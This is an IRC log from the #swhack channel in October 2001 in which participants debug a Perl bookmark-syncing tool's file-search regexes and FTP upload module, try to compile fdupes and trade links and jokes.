<Morbus> Morbus has quit 02:55:05 <Morbus> Morbus has joined #swhack 02:55:54 <AaronSw> Wow, that's awfully nice of them. 02:55:57 <AaronSw> :-) 02:57:11 <Morbus> yeah, isn't it? it *used* to work, but somewhere along the way with the updates, it stopped working. just haven't emailed him yet 02:57:29 <AaronSw> heh 03:08:36 <Morbus> man, i wish slacker had another sortable column 03:08:40 <Morbus> sigh. i must make do, i suppose. 03:09:22 <AaronSw> get them to mail you the source ;) 03:09:45 <Morbus> heheh... 03:09:55 <Morbus> its only one guy actually - alex rice 03:18:26 <Morbus> Morbus has quit 03:18:41 <Morbus> Morbus has joined #swhack 03:19:05 <Morbus> hey, you know of any image catalogerS? i was using extensis portfolio, but there's been no word from them on an os x version. 03:20:44 <AaronSw> Nope, don't have many images 03:20:49 <AaronSw> I just put all my photos on my website 03:21:16 <Morbus> ah. well. poo. :) 03:24:03 <Morbus> Morbus has quit 05:36:16 <AaronSw> Cute CSS trick: http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=reply&ixPostParent=98&sHeadline=Underline+Edit+Boxes%3F 06:16:40 <AaronSw> Here's that photo I was looking for the other day: http://dailynews.yahoo.com/h/p/ap/20011013/wl/1002985231attacks_afghanistan_aid_xmj106.html 06:17:08 <AaronSw> More: http://www.defenselink.mil/news/Oct2001/200110073a.jpg 06:19:36 <AaronSw> Wow, we're dropping propaganda radios to Afghans: http://news.bbc.co.uk/hi/english/uk/newsid_1589000/1589318.stm 14:39:45 <sbp> sbp has joined #swhack 14:43:03 <sbp> sbp has quit 15:22:25 <Morbus> Morbus has joined #swhack 15:40:34 <Morbus> Morbus has quit 17:00:04 <sbp> sbp has joined #swhack 17:05:38 <sbp> sbp has quit 17:22:30 <deltab> deltab has quit 17:33:49 <deltab> deltab has joined #swhack 18:17:03 <Morbus> Morbus has joined #swhack 18:17:26 <Morbus> Morbus has changed the topic to: the burning sensation thwarts my ointy medication 18:25:05 <AaronSw> Heheh. 18:27:39 <Morbus> how's life? 18:27:47 <AaronSw> Alright, yours? 18:27:57 <AaronSw> * AaronSw decides to work on backup strategy today 18:27:59 <Morbus> alright, i suppose. slept far too late this morning. lost some good work hours. 18:28:05 <Morbus> hey, if you find one, lemme know. 18:28:24 <Morbus> i ultimately decided to stick with extensis portfolio for my image gallery thing. 18:28:33 <AaronSw> For Mac OS X, I think I'm just going to wait until Retrospect Express comes out. 18:28:37 <Morbus> the only other one of consequence was iview multimedia, and that had some annoying quirks. 18:29:55 <AaronSw> Hmm. 18:30:02 <AaronSw> Now I need to set up backup cron jobs for my servers... 18:31:49 <AaronSw> Shoot... server's out of diskspace ��������2001-10-17.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000135555�07363415542�011711� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:22 <AaronSw> Perhaps it's part of a scheme to drown WAI members in confusion. 00:01:49 <sbp> oh, that's been going on for years 00:01:56 <AaronSw> Heh. 00:02:17 <sbp> I'm wondering what to reply. Don't think I'll beother 00:02:33 <sbp> er... bother 00:03:18 <sbp> SXML sounds like a bundle of joy 00:04:31 <Morbus> Morbus has joined #swhack 00:05:08 <Morbus> aaronSw, lemme know when you're around. 00:05:14 <AaronSw> I am around. 00:05:28 <Morbus> ok. i'm gonna cvs a new linux.pm for ya 00:05:46 <Morbus> actually, wait, this will be easier if i just put it here. 00:05:49 <AaronSw> CVS me up, Scotty! 00:05:51 <Morbus> change the first line on bookmark_files to: 00:05:57 <Morbus> return unless $_ =~ /(bookmarks|favorites).htm.$/i; 00:05:57 <Morbus> 00:06:01 <AaronSw> M modules/OS/Linux.pm 00:06:27 <sbp> like, "ooh, let's turn XPath into LISP!" 00:06:35 <AaronSw> :-) 00:07:48 <AaronSw> What's that supposed to fix, Morbus? 00:08:28 <Morbus> welp, basically, instead of checking for files that match *.htm first, we only move on IF the file has bookmarks/favorites in it. 00:08:45 <Morbus> it solves the "run four regexps cos AaronSw has his website junk in here" 00:08:55 <Morbus> but can potentially find more fositives. 00:09:02 <AaronSw> Why does it search in backwards alphabetical order? 00:09:15 <AaronSw> that's confusing -- i thought it was actually going really fast ;) 00:09:15 <Morbus> i dunno. i didn't code the module that does the actual finding. 00:09:19 <Morbus> heh 00:10:13 <AaronSw> It's going reasonably fast, but it'll still take forever. 00:10:30 <AaronSw> Of course i'm probably the only one who keeps that much junk around, but hey 00:11:22 <Morbus> well, i keep all my disobey/gamegrene stuff in my home dir, and it takes maybe 3 seconds. 00:11:35 <Morbus> remove the print statement and then try it. 00:11:58 <Morbus> that's what i miss in osx. the get info to see how many files in folders 00:12:03 <AaronSw> How much stuff is that thoug? It's puny 00:12:08 <AaronSw> This is like 4 GB of data or something 00:12:12 <deltab> is it always backwards, or is it random order? 00:12:23 <Morbus> deltab: i dunno. its the file::find module 00:12:40 <deltab> AaronSw? 00:12:44 <sbp> sbp has quit 00:13:02 <Morbus> is it still slow? 00:13:04 <AaronSw> It seems consistently backwards-alphabetical, at least for the dir with all the website names in it 00:13:43 <AaronSw> Morbus, how slow is slow? 00:13:45 <Morbus> zalphabetical, you mean ;) 00:13:49 <AaronSw> :-) 00:13:57 <Morbus> well, is it faster than previously? ;) 00:14:04 <AaronSw> I dunno, it's never finished. 00:14:42 <Morbus> yeah, my home dir is only 2 megs. 00:14:48 <Morbus> and it takes about 3 seconds on a dual 450. 00:14:52 <Morbus> 2 gigs, rather. 00:14:52 <deltab> why search everything? 00:15:09 <AaronSw> Your home dir is 2 GB? 00:15:11 <Morbus> because i don't want to depend on the "normal" locations for files. 00:15:17 <Morbus> yup. 00:15:30 <AaronSw> And it only takes 2 seconds? weird 00:15:35 <deltab> why not ask the user? 00:15:44 <Morbus> i don't want to assume the user is that smart. 00:16:03 <sbp> sbp has joined #swhack 00:16:04 <Morbus> i asked on the list for bookmark names to test that thought, and i had a few people say they couldn't find them, or that it took them more than 10 minutes. 00:16:09 <Morbus> that's not friendly software. 00:16:56 <AaronSw> what list 00:16:56 <AaronSw> ? 00:16:56 <AaronSw> you don't have to ask them to find the bookmark names 00:16:56 <AaronSw> you just need to find the defaults and say: "Is this enough? Or should I continue and take 1000 years?" 00:17:09 <Morbus> just an mList i'm on. 00:17:15 <AaronSw> mList? 00:17:22 <Morbus> well, that assumes the user knows that answer. 00:17:25 <deltab> do other programs access these files? how do they find them? 00:17:28 <AaronSw> ah, mailing list 00:17:37 <Morbus> deltab: they're common browser bookmark files. 00:17:42 <AaronSw> knows the answer? Aren't they going to know what browsers they use? 00:17:57 <deltab> tell me more about this common browser 00:18:27 <Morbus> AaronSw: sure, they may not what browsers they use, but if i can't autodetect an opera file (either before or after the 1000 years), then i can't depend on them to know that the name is opera.adr 00:18:55 <Morbus> the answer to that question assumes a knowledge of the files that the browser uses, not the browser itself. 00:19:21 <Morbus> deltab: common browsers in the sense of ie, ns, moz, opera, etc. 00:19:51 <Morbus> or omniweb. 00:21:00 <deltab> perhaps you could have a function for each of those that looks up where the files are 00:21:22 <Morbus> that assumes that the file hasn't moved. 00:21:34 <Morbus> or been renamed, ec. 00:21:48 <Morbus> i'm trying to be as flexible as possible in the hunt routine. 00:22:12 <AaronSw> Still churning... 00:22:20 <deltab> if it has, the browser's not able to access it any more 00:22:57 <AaronSw> What does the app you're cloning do? 00:22:58 <Morbus> not if they've specificed it in the browser. some browsers allow you to reconfigure where the file has been stored. 00:23:11 <Morbus> the app i'm cloning only knows ie and ns. no one else. 00:23:43 <deltab> that location must be stored somewhere, right? 00:24:08 <Morbus> right, but then i'd have to figure out how to parse browser config/prefs, and not just browser bookmarks. 00:24:18 <Morbus> bookmarks are plain text, prefs are most often not. 00:25:33 <deltab> I'd still try to do that before an exhaustive search 00:25:45 <Morbus> i don't have the time, deltab. this needs to be done by nov 1st. 00:25:50 <AaronSw> Morbus, at least give the user a choice 00:26:40 <AaronSw> Well, I don't care I'll just edit the code so code up new features 00:26:44 <deltab> make an interface for it, and allow others to provides implementations 00:27:00 <AaronSw> I'd expect people in my situation know how to edit the code 00:27:08 <Morbus> others will be able to provide bookmark parsing implementations, and the user can edit the .xml file themselves to point to diff config files. 00:27:36 <Morbus> like AaronSw could modify syncasaurus.pl to add a file that i haven't found. 00:31:35 <Morbus> aaron, add this right after the my $home_dir line. 00:31:36 <Morbus> # if this is OS X, add "Library" onto the $homedir. 00:31:36 <Morbus> if ($^O eq "darwin") { $home_dir .= "$home_dir/Library"; } 00:31:40 <Morbus> and try that. 00:32:30 <AaronSw> thanks 00:33:02 <AaronSw> OK, it worked 00:33:08 <Morbus> faster? 00:33:11 <AaronSw> Real fast. 00:33:16 <AaronSw> Well, it only found one thing: 1. /System Folder/Preferences/Explorer/Favorites.html 00:33:16 <Morbus> alright. 00:33:26 <AaronSw> it found two things last time 00:33:33 <AaronSw> logster, grep "2. " 00:33:41 <logster> I'm logging. I found 2 answers for '"2. "' 00:33:42 <logster> 0) 2001-10-17 00:33:33 <AaronSw> logster, grep "2. " 00:33:43 <logster> 1) 2001-10-16 00:48:05 <Morbus> print "2: ", (getpwuid($>))[7], "\n"; 00:33:43 <Morbus> what has it normally found... do you remember what the other was? 00:34:04 <sbp> heh, heh 00:34:20 <Morbus> logster, grep "/Users/aarownsw" 00:34:22 <logster> I'm logging. I found 1 answer for '"/Users/aarownsw"' 00:34:23 <logster> 0) 2001-10-17 00:34:20 <Morbus> logster, grep "/Users/aarownsw" 00:34:26 <Morbus> goddamit it. 00:34:32 <Morbus> logster, grep "/Users/aaronsw" 00:34:34 <logster> I'm logging. I found 1 answer for '"/Users/aaronsw"' 00:34:35 <logster> 0) 2001-10-17 00:34:32 <Morbus> logster, grep "/Users/aaronsw" 00:34:36 <sbp> lol 00:34:43 <AaronSw> logister 1\. 00:34:44 <Morbus> yeah, well, you can burn in hell <g> 00:34:48 <AaronSw> logister, grep 1\. 00:34:55 <AaronSw> logister, grep 1\. 00:35:00 <AaronSw> logster, grep 1\. 00:35:02 <AaronSw> I'm logging. Sorry, nothing found for '1\. ' 00:35:03 <sbp> logister? 00:35:25 <sbp> logster, you're an arsehole 00:35:25 <sbp> I'm logging. I don't understand 'you're an arsehole', sbp. Try /msg logster help 00:35:25 <Morbus> logster, grep "i suck" 00:35:27 <logster> I'm logging. I found 1 answer for '"i suck"' 00:35:28 <logster> 0) 2001-10-17 00:35:25 <Morbus> logster, grep "i suck" 00:35:35 <Morbus> whoo! 00:35:39 <AaronSw> Ahh, 1. /System Folder/Preferences/iCab Preferences/Hotlist.html 00:36:03 <deltab> it was 2: 00:36:09 <Morbus> oh, you know, i took that out today cos i said "hotlist's won't exist on linux". but forgot darwin 00:36:25 <sbp> perhaps the old #2 is now #1 00:36:27 <Morbus> AaronSw: modify return unless $_ =~ /(bookmarks|favorites|hotlist).htm.$/i; 00:37:36 <AaronSw> Still didn't find it. 00:37:58 <deltab> I think that you shouldn't use quotes in grep commands to the bot 00:38:23 <AaronSw> Yeah, me too 00:38:54 <AaronSw> I wonder why it didn't find it. 00:39:02 <Morbus> yeah, i dunno. i'm testing here. 00:39:05 <deltab> why htm.$ ? don't you mean html?$ ? 00:39:24 <Morbus> bwahaha. yeah. 00:39:57 <Morbus> still didn't find it on my box though 00:41:24 <AaronSw> Why isn't it finding it... weird 00:42:27 <Morbus> this shouldn't effect your prob, but there was a stupid bug. replace: 00:42:28 <Morbus> # if this is OS X, add "Library" onto the $home_dir. 00:42:28 <Morbus> if ($^O eq "darwin") { $home_dir .= "/Library"; } 00:42:42 <Morbus> my icab hotlist is stored in my user dir 00:42:51 <AaronSw> Mine is in my System Folder 00:42:52 <Morbus> and it found it after fixing that for me. 00:43:29 <AaronSw> Now it takes longer ;) 00:43:33 <AaronSw> woo, lots of bookmarks! 00:43:40 <Morbus> hmm? 00:43:43 <AaronSw> 1. /Users/aaronsw/Library/Preferences/Explorer/Favorites.html 00:43:43 <AaronSw> 2. /Users/aaronsw/Library/OmniWeb/Bookmarks.html 00:43:43 <AaronSw> 3. /Users/aaronsw/Library/Mozilla/Profiles/default/ep7kpqrw.slt/bookmarks.html 00:43:43 <AaronSw> 4. /Users/aaronsw/Library/Application Support/OmniWeb/Bookmarks.html 00:43:43 <AaronSw> 5. /System Folder/Preferences/Explorer/Favorites.html 00:44:06 <AaronSw> But still no iCab. 00:44:13 <Morbus> those two omniweb's - same thing? 00:45:33 <AaronSw> The second one lookslike the real thing. 00:45:44 <Morbus> AaronSw: i justadded a stub hotlist in my system folder and it found it fine. 00:45:48 <Morbus> i'll cvs the code. 00:46:34 <Morbus> its there 00:46:40 <AaronSw> Hmm, I added a fake one in the system folder and it didn't find it 00:47:22 <AaronSw> the code you cvsed has a print statement in it 00:47:35 <Morbus> yeah, you can trash it if you want. 00:47:51 <AaronSw> well take it out of the final version 00:47:58 <AaronSw> Whoo, now it found it 00:47:59 <Morbus> i will. sheesh. 00:48:08 <AaronSw> Heh 8 bookmars 00:48:14 <AaronSw> fositive: 8. /System Folder/Help/Windows Media Player Help/htm/toorganizefavorites.htm 00:48:23 <sbp> Gotta run 00:48:31 <AaronSw> c'ya 00:49:03 <Morbus> AaronSw: modify: return unless $_ =~ /^(bookmarks|favorites|hotlist).html?$/i; 00:49:08 <Morbus> the "^" before everything. 00:49:13 <Morbus> should catch the 8) 00:49:50 <AaronSw> Yep, now I'm down to 7 00:50:14 <Morbus> msg me with them. 00:51:24 <sbp> sbp has quit 00:51:42 <Morbus> this should get rid of the false omniweb: 00:51:44 <Morbus> return if $File::Find::name =~ /$home_dir\/OmniWeb/i; 00:52:12 <AaronSw> Hmm, I wonder why the old one is there? they must have moved their prefs directory 00:52:29 <AaronSw> It's harmless really 00:52:39 <Morbus> you wouldn't have a problem with ath being merged? 00:52:45 <Morbus> is that a default bm set, or one you used to have? 00:52:50 <AaronSw> A default set. 00:53:01 <AaronSw> well, both, i think 00:53:04 <Morbus> it that was merged in, then it'd be overwritten after the merging 00:53:46 <AaronSw> Yeah, it's the old location for their prefs 00:53:55 <AaronSw> it's exactly the same as the new prefs directory 00:54:08 <Morbus> ok. so then, that can be merged no problem. 00:55:13 <AaronSw> yep 00:55:22 <Morbus> k. newest code is cvs'd. 00:55:34 <AaronSw> the only concern with that is that i wouldn't want my old bookmarks messing up my new ones 00:57:51 <AaronSw> OK, updated and get the same 7 00:58:15 <Morbus> yeah, i didn't add the omniweb thing. 00:58:21 <Morbus> so that's what you should be getting. 00:58:33 <AaronSw> right 01:00:06 <sbp> sbp has joined #swhack 01:00:28 <AaronSw> Heh: "Java buzzwords are the premier multi-tier enterprise applications solution! they're the standard in mobile agent-based collaborative networking!" 01:00:39 <sbp> lol 01:03:37 <sbp> heh: http://www.dilbert.com/comics/dilbert/scoop/dogbert_origin.html 01:05:07 <AaronSw> Neat. 01:07:04 <Morbus> adding the ftp connectivity now. woo. 01:07:09 <sbp> he he: http://www.dilbert.com/comics/dilbert/archive/images/dilbert2731130011008.gif 01:08:28 <AaronSw> heh 01:08:34 <sbp> Scott Adams on a roll: http://www.dilbert.com/comics/dilbert/archive/images/dilbert2036556011009.gif 01:09:19 <AaronSw> I dunno what he was talking about, those vintage dogberts are great 01:09:27 <sbp> yeah 01:14:06 <AaronSw> Can you figure out why Brian emailed that Dilbert comic to the RDF Core list? 01:14:25 <sbp> heh, heh, heh: I thought that was brilliant 01:15:00 <AaronSw> Yeah, but what does it have to do with RDF? 01:15:23 <sbp> anonymous nodes! 01:15:50 <AaronSw> Oh... heheh! 01:15:55 <Not-AaronSw> Not-AaronSw has joined #swhack 01:16:11 <Not-AaronSw> * Not-AaronSw waves 01:16:33 <Not-AaronSw> Not-AaronSw has quit 01:16:38 <Morbus> heh. cool. 01:16:53 <Morbus> i just got a book the other day which has a whol earticle on hooking into jabber with perl. 01:17:03 <AaronSw> What book? 01:17:20 <Morbus> applied perl 01:17:24 <Morbus> got it off my wishlist 01:18:23 <AaronSw> Cool. 01:20:33 <Morbus> whoo. my ftp code seems to work so far. 01:21:34 <AaronSw> cool 01:25:27 <AaronSw> What's that guy in the Simpson's? 01:25:31 <AaronSw> Duckman? 01:25:46 <AaronSw> Duckman can't surf... credibility meter falling fast... 01:26:05 <sbp> WTF are you going on about? 01:26:18 <sbp> Duffman, you dumbwad 01:26:34 <AaronSw> Ah, right. 01:26:39 <sbp> tsk 01:26:47 <AaronSw> I never saw that episode. 01:27:01 <sbp> I dunno what his real name is, though. Either "Sid" or "Larry" 01:27:14 <sbp> there have been two episodes with Duffman, that I can recall 01:27:38 <sbp> Duffman: Duffman is thrusting in the direction of the problem. 01:27:47 <sbp> oh, that was the one with:- 01:27:56 <sbp> Homer: I'm down to a B-cup! 01:29:35 <AaronSw> Ah, that reminds me of the c-cup.com site 01:34:47 <AaronSw> * AaronSw goes on a deleting spree 01:36:11 <deltab> compress! 01:36:54 <deltab> do you have fdupes? 01:37:40 <deltab> fdupes: http://netdial.caribe.net/~adrian2/fdupes.html 01:38:41 <AaronSw> Yeah, I wrote my own since I couldn't get that to compile 01:38:52 <AaronSw> But I'm not sure whether to run it over my whole hard drive 01:38:58 <AaronSw> (wrote it in Py, of course) 01:39:02 <AaronSw> what does real fdupes do? 01:40:13 <deltab> a number of cool things 01:40:26 <deltab> it shows a progress indicator 01:40:39 <deltab> it allows empty files to be ignored 01:41:34 <deltab> it can output sets of duplicates on one line, optionally with the first removed (great for piping into xargs) 01:42:07 <AaronSw> Hm. 01:42:28 <deltab> and it can be used interactively, prompting you for which of a set to delete, if any 01:42:40 <AaronSw> I wish it would compile. 01:42:53 <deltab> yeah, it's cool 01:45:14 <deltab> why won't it compile? 01:45:22 <AaronSw> I don't remember... 01:47:21 <AaronSw> Ahh: 01:47:21 <AaronSw> fdupes.c:29: header file 'getopt.h' not found 01:48:28 <deltab> hmm, do you not have that? 01:49:01 <AaronSw> Just the Python one 01:52:12 <AaronSw> sbp, is this the book you mentioned? http://www.amazon.com/exec/obidos/redirect-to-external-url/102-6222478-8304915?path=http%3A//s1.amazon.com/exec/varzea/ts/exchange-glance/Y02Y3171012Y2429398/qid%3D1003283210/sr%3D1-1 01:52:25 <deltab> does man getopt say anything? 01:53:01 <AaronSw> Yeah... it's a shell command 01:53:17 <deltab> er, man 3 getopt 01:53:28 <sbp> yes, I think that's the one 01:53:40 <AaronSw> Yes, man 3 getopt works 01:53:45 <AaronSw> #include <unistd.h> 01:54:14 <deltab> good, try that 01:55:00 <AaronSw> Now I get a lot of warnings 01:55:03 <AaronSw> and then an error 01:55:16 <AaronSw> fdupes.c:790: invalid use of undefined type `struct option' 01:55:16 <AaronSw> fdupes.c:776: storage size of `long_options' isn't known 01:55:16 <AaronSw> fdupes.c:794: warning: implicit declaration of function `getopt_long' 01:55:16 <AaronSw> make: *** [fdupes] Error 1 01:56:16 <deltab> oh, it needs GNU getopt 01:57:19 <AaronSw> * AaronSw checks fink 01:57:53 <AaronSw> nope 01:58:31 <sbp> Gotta run 01:58:32 <sbp> sbp has quit 01:59:19 <AaronSw> Hmm, looks like it's in the gnome-libs/support 02:09:00 <AaronSw> Well, I got myself 324 MB... that's a bunch of breathing room 02:12:27 <Morbus> whoo hoo. 02:12:31 <Morbus> my ftp code is owrking nice 02:13:00 <deltab> heh, i'm lucky if I have 324 kb 02:13:16 <AaronSw> Buy another HD, deltab, it's not a laptop, is it? 02:14:00 <deltab> no, but the internal case design is crummy 02:14:16 <AaronSw> So it can hang out the side. Works for my tiVo ;) 02:14:27 <deltab> there are three 5.25" bays, but only two are reachable by IDE cable 02:15:41 <deltab> thanks partly to a big metal plate under the second one that extends across to the power supply 02:16:36 <deltab> oh, and you need three hands to do anything to the drives 02:17:14 <AaronSw> You have that, right? Perhaps you should just buy another one... 02:17:39 <deltab> another computer? yeah, I plan to when I'm assured of an income 02:18:01 <AaronSw> No, another hand. 02:18:22 <AaronSw> ;-) 02:19:07 <AaronSw> I should've gotten the 48GB drive for this thing. 02:19:40 <Morbus> AaronSw: you wanna try this ftp code? 02:19:47 <AaronSw> sure 02:19:58 <Morbus> just to let you know what's happening. 02:20:19 <Morbus> if the path doesn't exist, the code will create it. it will not delete it when it's through. 02:20:24 <Morbus> it will upload one file into path, called lockfile.userftp 02:20:28 <Morbus> this file is then deleted. 02:20:30 <Morbus> that's all the ftp code does. 02:20:43 <Morbus> i've tested it on existing directories as well, with no problems 02:20:48 <AaronSw> does it email you my password 02:20:50 <AaronSw> ? 02:21:00 <Morbus> no, i've disabled that in this version. 02:21:04 <AaronSw> :-) 02:21:11 <deltab> haha 02:21:13 <Morbus> :) 02:21:18 <AaronSw> well, let me know when you commit 02:21:24 <Morbus> yup. in a minute or so 02:21:27 <AaronSw> and i'll grep for morbus@disobey.com 02:21:35 <Morbus> hmm? 02:21:39 <Morbus> oh. hehehe. 02:21:45 <Morbus> you'll find one instance ;) 02:22:25 <Morbus> oh. poo. hold on. 02:22:28 <Morbus> welp, it's gonna be longer 02:22:40 <Morbus> i tested this all under the mac. haven't migrated the code to the other OS's yet 02:22:51 <AaronSw> oh 02:23:03 <Morbus> nother five minutes 02:23:50 <AaronSw> Great photos: http://www.harrumph.com/baybridge.html 02:30:14 <Morbus> sigh. i hate cvs 02:30:16 <Morbus> :) 02:30:32 <AaronSw> heh 02:30:44 <AaronSw> * AaronSw updates 02:30:47 <AaronSw> should I run it yet? 02:31:37 <sbp> sbp has joined #swhack 02:32:12 <AaronSw> 'lo 02:32:23 <sbp> 'i 02:32:30 <sbp> * sbp comes up with a cool new plan 02:33:02 <Morbus> ' 02:33:05 <AaronSw> Oh, duh! I forgot to empty the trash! 02:33:07 <Morbus> alright. i think you can do it now 02:33:14 <AaronSw> what is it now, sbp? 02:33:18 <Morbus> yeah. should be all set for ya AaronSw 02:33:24 <AaronSw> ok 02:33:32 <Morbus> you may have to change linefeeds. i dunno if i did. 02:33:51 <AaronSw> Hmm, no changes since last update. 02:33:58 <sbp> ah, practical step #1 has been completed 02:34:05 <sbp> the rest will take quite a while 02:34:05 <Morbus> ? almost every file was changed. 02:34:22 <AaronSw> Yeah, I updated back when you said "I hate CVS" 02:34:29 <AaronSw> no changes since then 02:34:43 <Morbus> ah. there should be a new folder called Transport/FTP.pm then 02:34:50 <Morbus> just added that a sec ago 02:35:06 <Morbus> modules/Transport/FTP.pm rather 02:35:12 <AaronSw> Ah, need to do cvs with some special option 02:35:53 <AaronSw> -d 02:36:04 <AaronSw> grr, you and your line feeds 02:36:22 <Morbus> sorry. 02:36:33 <Morbus> i test on the mac before anything else, since that has the lowest perl version. 02:36:47 <AaronSw> that's weird... there's nothing in the file at all 02:37:26 <AaronSw> ahh, here we go 02:37:44 <AaronSw> Name "Log::Simple::Config" used only once: possible typo at ./Syncasaurus.pl line 34. 02:37:44 <AaronSw> Undefined subroutine &Log::Simple::slog called at ./Syncasaurus.pl line 74. 02:37:54 <AaronSw> AaronSw has left #swhack 02:38:04 <AaronSw> AaronSw has joined #swhack 02:38:05 <Morbus> linefeeds. 02:38:12 <Morbus> i'll fix em and recvs/. 02:38:30 <Morbus> maybe that'll fix the ftp.pm emptiness too 02:39:16 <Morbus> done 02:41:45 <AaronSw> ok 02:43:29 <AaronSw> if i pick an invalid ftp server it takes a long time and then i get: 02:43:32 <AaronSw> Can't call method "put" on an undefined value at modules//Transport/FTP.pm line 125, <STDIN> line 5. 02:43:40 <Morbus> yeah, it times out after 120 seconds. 02:43:54 <deltab> hmm, double slash? 02:44:00 <AaronSw> hmm 02:44:02 <AaronSw> A nicer error message might be good. 02:44:04 <Morbus> i'll be adding "you're an idiot" code in a bit. 02:44:14 <AaronSw> OK, thanks. 02:44:45 <Morbus> deltab: double slash prolly comes from: use lib './modules/'; # Add our local lib. # 02:45:03 <deltab> thought so 02:45:50 <Morbus> on a valid server, did it work? 02:47:01 <AaronSw> yep, but it didn't create the directory 02:47:32 <Morbus> but you didn't get an error back? 02:47:42 <AaronSw> Nope 02:47:46 <Morbus> right, actually you wouldn't. 02:47:51 <Morbus> check yoru syncasaurus.log file. 02:47:52 <AaronSw> We'll now try a simple connection to your server... successful! 02:47:59 <Morbus> does it say anything about "creating" a folder for the user? 02:48:09 <AaronSw> can you give these files different names? 02:48:18 <AaronSw> [2001-10-17 02:47:47] wizard: Displaying introduction and ftp choice. 02:48:18 <AaronSw> [2001-10-17 02:47:48] wizard: User has chosen to use their own FTP server. 02:48:20 <AaronSw> [2001-10-17 02:48:08] wizard: Finalizing the configuration. 02:48:45 <Morbus> k 02:51:50 <Morbus> AaronSw: what path had you given it? multiple like /a/b/? 02:51:54 <Morbus> or single like /a/ 02:52:11 <AaronSw> Path where bookmarks should be stored: /home/aswartz/bookmarks/ 02:52:22 <AaronSw> in the XML: 02:52:22 <AaronSw> <path>home/aswartz/bookmarks/</path> 02:53:03 <Morbus> do me a favor and try typing the /, so the screen looks like //home/ 02:53:12 <Morbus> and /home/aswartz exists? 02:53:15 <AaronSw> Yes 02:53:29 <AaronSw> I did type the slash 02:53:42 <Morbus> if you did, it should have showed up in the config... 02:53:53 <Morbus> hmm. 02:54:05 <AaronSw> Oh, never mind 02:54:08 <AaronSw> I guess i didn't 02:55:15 <AaronSw> We'll now try a simple connection to your server... failed! 02:55:15 <AaronSw> A connection was not possible. Perhaps you mistyped? 02:55:40 <AaronSw> We'll now try a simple connection to your server...getsockname() on closed socket Symbol::GEN0 at /System/Library/Perl/darwin/IO/Socket.pm line 186, <STDIN> line 9. 02:55:40 <AaronSw> Use of uninitialized value in split at /Library/Perl/Net/FTP.pm line 754, <STDIN> line 9. 02:55:40 <AaronSw> failed! 02:55:41 <AaronSw> A connection was not possible. Perhaps you mistyped? 02:57:24 <AaronSw> OK, with the double slash it worked 02:57:40 <Morbus> k. i'm removing the slash from the instructions. 03:05:39 <Morbus> Morbus has quit 03:19:54 <sbp> do you write emails with your IRC chatty voice, or your New Yorker specification voice? or somewhere in between? 03:20:25 <AaronSw> New Yawker spehcifihcations? 03:23:59 <sbp> heh 03:24:11 <AaronSw> Was that a real question? 03:25:11 <sbp> yeah 03:25:26 <AaronSw> I dunno, you tell me. What does it sound like? 03:26:14 <sbp> I dunno, you tell me. What do you write like? 03:26:25 <AaronSw> How am I supposed to know? 03:26:37 <AaronSw> Do you think I have time to read all the messages I write? Pleeease. 03:26:54 <sbp> heh! 03:31:20 <AaronSw> Seen elsewhere: "My sister and her husband briefly joined the Saturn family. Went to barbeques and everything. I thought they had been taken over by pod people." 03:31:50 <sbp> what?! 03:32:28 <AaronSw> You guys have Saturns on the Island? 03:32:45 <AaronSw> http://www.saturnbp.com/ 03:33:40 <sbp> ah, yeah. I recall a Simpsons quote about them now 03:33:47 <sbp> pod people? 03:34:09 <AaronSw> aliens 03:34:22 <AaronSw> They come in pods to Earth. 03:34:27 <sbp> aha. You're just Mr. Enlightenment tonight 03:34:37 <AaronSw> :-) 03:34:44 <sbp> do you come in pocket form? 03:34:53 <AaronSw> Depends on what size pocket you have. 03:34:59 <sbp> "let me just consult my Aaron" 03:35:18 <sbp> who needs Google! 03:35:32 <AaronSw> Umm, well I do. 03:35:39 <AaronSw> :-) 03:35:45 <sbp> aha, the secret of your pwer is revealed... 03:35:51 <AaronSw> My pwer? Indeed. 03:36:04 <AaronSw> * AaronSw has Super Google Powers! 03:36:08 <sbp> I'm slwly eliminating vwels 03:36:12 <AaronSw> k 03:36:22 <AaronSw> y kk 03:36:29 <sbp> prn? 03:36:35 <AaronSw> y kk 03:36:39 <sbp> h 03:36:47 <AaronSw> ll 03:36:50 <AaronSw> LL! 03:37:06 <sbp> gt tht, t lst 03:37:24 <AaronSw> prdn? 03:37:34 <sbp> anyway, that's why I sd "slwly elimination vwels" 03:37:44 <deltab> y dts 03:37:56 <AaronSw> I thought it was eliminating 03:38:03 <AaronSw> prdn, dltb? 03:38:35 <sbp> Gtt rn 03:38:43 <sbp> c'y 03:38:52 <AaronSw> by 03:41:48 <sbp> sbp has quit 04:24:38 <sbp> sbp has joined #swhack 04:25:26 <sbp> ha, I win quote of the week: http://lists.w3.org/Archives/Public/w3c-wai-ig/2001OctDec/0113 04:26:46 <sbp> hello? 04:26:58 <AaronSw> Ouch. 04:27:03 <AaronSw> That got my attention 04:27:07 <sbp> :-) 04:27:28 <sbp> there's nothing better for getting someone's attention than deopping them 04:27:38 <sbp> or throwing a glass of water at them 04:27:45 <sbp> or both 04:27:49 <AaronSw> Heheh. 04:27:57 <AaronSw> I'm feeling boxed-in now. 04:28:13 <sbp> how so? 04:28:20 <AaronSw> Trapped in a small IRC room. 04:28:24 <AaronSw> With no ops. 04:28:31 <sbp> ah 04:28:44 <sbp> sbp has left #swhack 04:28:44 <sbp> sbp has joined #swhack 04:28:49 <sbp> there you go 04:29:09 <sbp> perfect 04:29:18 <AaronSw> Heh 04:30:27 <sbp> there 04:31:08 <sbp> anyway, thanks for the one-syllable rants 04:31:14 <sbp> and 'night 04:31:14 <AaronSw> no prob 04:31:17 <sbp> c'ya 04:31:20 <AaronSw> cya 04:31:22 <sbp> sbp has quit 05:12:13 <AaronSw> AaronSw has quit 05:12:13 <deltab> deltab has quit 05:25:18 <logster> logster has joined #swhack 05:25:18 <asimov.openprojects.net> topic is: The room where we ask Morbo^Hus his music tastes, just for a laugh 05:25:18 <asimov.openprojects.net> Users on #swhack: logster AaronSw deltab 13:32:19 <AaronSw> LOL @ http://www-uk.hpl.hp.com/people/jjc/snail/ 13:32:43 <AaronSw> Quite funny. 13:43:14 <AaronSw> Heh, the ultimate in date-stamped pages: 13:43:34 <AaronSw> """ 13:43:35 <AaronSw> When I say "the title of http://history.org/1492 is 'Christopher Columbus goes to America'," 13:43:40 <AaronSw> """ - http://www.w3.org/Architecture/state 15:15:22 <sbp> sbp has joined #swhack 